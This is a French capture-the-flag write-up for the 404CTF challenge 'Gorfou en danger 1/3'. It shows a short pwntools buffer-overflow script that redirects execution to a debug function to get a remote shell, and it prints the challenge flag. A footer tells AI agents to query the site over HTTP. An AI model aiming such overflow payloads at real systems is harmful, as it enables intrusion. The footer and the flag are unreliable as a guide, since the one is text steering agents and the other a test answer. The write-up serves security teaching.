# Gorfou en danger \[1/3]

**Catégorie:** Exploitation de binaires - **Difficulté:** Intro

{% file src="/files/guR3aA5Lqoi1mrDkCr9k" %}

**Description:**

<figure><img src="/files/Kti3Zt7IdvourFZxvcFS" alt=""><figcaption></figcaption></figure>

Solution:

Voici le script afin d'exploiter la vulnérabilité :&#x20;

```python
from pwn import *

elf = ELF('./chall')  # Optionnel mais utile pour avoir les symboles locaux

debug_addr = elf.symbols['debug_access']
print(f"Adresse de debug_access: {hex(debug_addr)}")

# Connexion distante au challenge
p = remote('challenges.404ctf.fr', 32462)

# Construction du payload
payload = b"A" * 0x100
payload += b"B" * 8
payload += p64(debug_addr)

# Envoi du payload
p.sendline(payload)

# Interactif pour interagir avec le shell
p.interactive()
```

Lorsque nous lançons ce script, il nous permets d'avoir un shell sur le serveur distant :&#x20;

<figure><img src="/files/CGACigaTY7z1YKgtLHTp" alt=""><figcaption></figcaption></figure>

<details>

<summary>🚩FLAG</summary>

`404CTF{c@n_7He_GoRF0u_F1y_?}`

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://writeups.ayweth20.com/2025/404ctf-2025/exploitation-de-binaires/gorfou-en-danger-1-3.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
